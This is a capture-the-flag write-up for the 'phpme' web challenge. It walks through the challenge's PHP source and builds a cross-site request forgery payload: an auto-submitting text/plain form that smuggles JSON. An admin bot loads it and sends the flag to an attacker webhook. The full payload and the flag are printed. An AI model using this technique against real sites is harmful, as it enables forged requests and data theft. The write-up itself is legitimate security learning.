Description:
"This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP
https://phpme.be.ax https://adminbot.be.ax/phpme
TL;DR
<body onload="document.frm.submit()">
 <form name="frm" enctype='text/plain' action="https://phpme.be.ax/" method="post">
   <input name='{"yep": "yep yep yep", "url": "webhook", "trash": "' value='"}'>
   <input type="submit" value="Submit">
 </form>
</body>When visiting https://phpme.be.ax, you'll be greeted with some php code:
<?php
    include "secret.php";
    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?>At https://adminbot.be.ax/phpme, you can submit a url for the admin to visit.
Analyzing the PHP code
At the start of the page, we see that it includes a file called secret.php, which will hide the secret variables from us: $secret and $flag.
The interesting part is where those variables are used:
 if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }We first have two if-statements that check if we made a POST request and if we have the secret cookie stored in $secret.
Let's start with a simple POST request with curl.
curl -X POST https://phpme.be.ax/
We get back the message "ur not admin!!!", because we don't know the secret cookie to get past the cookie check.
Time to check out adminbot.be.ax/phpme to see what we can do.

We must input a url starting with "http://" or "https://", and the admin will visit it. Since it has to be a POST request, we need to enter a webpage that we control so we can programatically make a POST request for the admin.
Now let's see where the flag variable is used.
// https://stackoverflow.com/a/7084677
$body = file_get_contents('php://input');
if(isJSON($body) && is_object(json_decode($body))) {
      $json = json_decode($body, true);
      if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
            echo "<script>\n";
            echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
            echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
            echo "</script>\n";
    }
    else {
          echo "nope :)";
    }We see that we get another opportunity to supply user input via the $body variable, which uses file_get_contents('php://input'). This is the data that's sent along with a POST request. Then the code checks if that data is valid json. If so, it extracts a url, appends the flag as POST data and makes a request (see https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon).
Summary
- Admin visits our webpage
 - Admin automatically makes a POST request to the first page with valid json in order to get past the checks
 - Admin goes to the url we specified with the flag in the POST data (sendBeacon).
 - Victory
 
Making it work
I used ngrok to host my local files on the internet. I can then make an HTML page that redirects users to the phpme website using a form, which makes it easy to send POST requests.
<form name="frm" action="https://phpme.be.ax/" method="post">
    <input type="submit" value="Submit">
</form>When I submit this form, it will send out a POST request, but we still need to add the json data it wants.
if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"]))
Looks like I need something like this:
{
    "yep": "yep yep yep",
    "url": "our-webhook"
}We can use webhook.site to quickly get a url where can listen for requests. When putting this json in a form it will have a key-value pair, meaning our request will look like this:
POST / HTTP/1.1
...
name=value
But that data isn't valid JSON. We can use this trick to convert it into this:
POST / HTTP/1.1
...
{"yep": "yep yep yep", "url": "https://webhook.site/XXX", "trash": "="}
That looks like JSON to me! Let's add it to our form:
<input name='{"yep": "yep yep yep", "url": "https://webhook.site/XXX", "trash": "' value='"}'>Finally, set the form's enctype to "text/plain" to avoid encoding and make it so that we submit the form when our page loads.
Final result
<body onload="document.frm.submit()">
 <form name="frm" enctype='text/plain' action="https://phpme.be.ax/" method="post">
   <input name='{"yep": "yep yep yep", "url": "https://webhook.site/XXX", "trash": "' value='"}'>
   <input type="submit" value="Submit">
 </form>
</body>Now give the ngrok url to the admin and wait for the flag to arrive!

corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}